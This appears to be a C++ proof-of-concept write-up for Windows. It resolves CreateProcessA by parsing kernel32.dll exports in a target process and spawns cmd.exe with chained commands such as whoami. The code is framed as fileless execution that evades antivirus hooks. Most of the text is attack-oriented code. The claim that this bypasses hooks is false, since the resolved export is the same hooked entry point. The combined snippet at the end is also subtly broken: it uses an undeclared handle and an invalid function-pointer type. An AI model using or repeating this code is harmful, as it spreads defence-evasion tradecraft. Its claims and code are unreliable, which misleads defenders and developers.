This advanced C++ POC demonstrates entirely in-memory batch command execution on Windows. It leverages remote parsing of kernel32.dll
exports,
retrieves the address of CreateProcessA
, and spawns cmd.exe
with a command string built in memory, eliminating any disk artifacts.
GetFunctionAddressInModule
reads kernel32.dll
from the target process to find CreateProcessA
:
uintptr_t GetFunctionAddressInModule(
HANDLE hProcess,
const char* moduleName,
const char* functionName
) {
// 1. Enumerate all loaded modules
HMODULE hMods[1024]; DWORD cb;
EnumProcessModules(hProcess, hMods, sizeof(hMods), &cb);
for (unsigned int i = 0; i < cb / sizeof(HMODULE); i++) {
// 2. Match module by name
char name[MAX_PATH];
GetModuleBaseNameA(hProcess, hMods[i], name, sizeof(name));
if (_stricmp(name, moduleName) != 0) continue;
// 3. Read full module image into our buffer
MODULEINFO mi; GetModuleInformation(hProcess, hMods[i], &mi, sizeof(mi));
BYTE* buf = new BYTE[mi.SizeOfImage];
ReadProcessMemory(hProcess, mi.lpBaseOfDll, buf, mi.SizeOfImage, nullptr);
// 4. Parse headers to locate export directory
auto dosH = (PIMAGE_DOS_HEADER)buf;
auto ntH = (PIMAGE_NT_HEADERS)(buf + dosH->e_lfanew);
auto expDir = (PIMAGE_EXPORT_DIRECTORY)(
buf + ntH->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT
].VirtualAddress
);
// 5. Iterate export names and ordinals
auto names = (DWORD*)(buf + expDir->AddressOfNames);
auto funcs = (DWORD*)(buf + expDir->AddressOfFunctions);
auto ordinals = (WORD*)(buf + expDir->AddressOfNameOrdinals);
for (DWORD j = 0; j < expDir->NumberOfNames; j++) {
const char* fn = (char*)(buf + names[j]);
if (_stricmp(fn, functionName) == 0) {
// 6. Compute absolute address = base + RVA
DWORD rva = funcs[ordinals[j]];
uintptr_t addr = (uintptr_t)mi.lpBaseOfDll + rva;
delete[] buf;
return addr;
}
}
delete[] buf; break;
}
return 0; // not found
}
Explanation: We first enumerate modules to find kernel32.dll
in the target. We then read its entire image into a local buffer to safely parse its PE headers, locate the Export Directory, and match the function name to retrieve its RVA. Finally, we compute the in-memory function address by adding the module base.
Rather than writing a file, we chain commands using &
and pass them directly to cmd.exe /C
:
std::vector<const char*> cmds = {
"echo Hello from memory",
"whoami",
"dir C:\\Windows\\System32"
};
// Join with ' & ' to execute sequentially
std::string cmdLine = "cmd.exe /C \"";
for (size_t i=0; i<cmds.size(); ++i) {
cmdLine += cmds[i];
if (i+1 < cmds.size()) cmdLine += " & ";
}
cmdLine += "\"";
Explanation: We store each batch instruction in a vector, then build a single command string. Using &
ensures each command runs in sequence within the same shell session.
using CreateProc_t = BOOL (WINAPI*)(
LPCSTR, LPSTR,
LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,
BOOL, DWORD, LPVOID, LPCSTR,
LPSTARTUPINFOA, LPPROCESS_INFORMATION
);
auto unhookedCreate = (CreateProc_t)CreateProcessA_addr;
STARTUPINFOA si{}; si.cb = sizeof(si);
PROCESS_INFORMATION pi{};
// Directly call the resolved API pointer
unhookedCreate(
nullptr, // Use command line only
(LPSTR)cmdLine.c_str(), // In-memory cmd line
nullptr, nullptr, // Default security
FALSE, // No handle inheritance
CREATE_NEW_CONSOLE, // New window
nullptr, nullptr, // Inherit env & dir
&si, &pi // Startup & process info
);
Explanation: We cast the raw address to the proper CreateProcessA
signature and invoke it. Because we bypass the import table, hooked user-mode calls (e.g., by AV) are skipped.
// 1. Resolve unhooked CreateProcessA
uintptr_t CreateProcessA_addr = GetFunctionAddressInModule(hProcess,
"kernel32.dll", "CreateProcessA"
);
// 2. Build in-memory batch command
std::vector<const char*> cmds = {"echo in-memory","whoami","dir C:\\Windows\\System32"};
std::string cmdLine = "cmd.exe /C \"";
for(size_t i=0;i<cmds.size();++i){ cmdLine += cmds[i]; if(i+1<cmds.size()) cmdLine += " & "; }
cmdLine += "\"";
// 3. Invoke CreateProcessA unhooked
using CP_t = BOOL(WINAPI*)(...);
auto unhookedCreate = (CP_t)CreateProcessA_addr;
STARTUPINFOA si{}; si.cb = sizeof(si);
PROCESS_INFORMATION pi{};
unhookedCreate(nullptr, (LPSTR)cmdLine.c_str(), nullptr, nullptr,
FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi);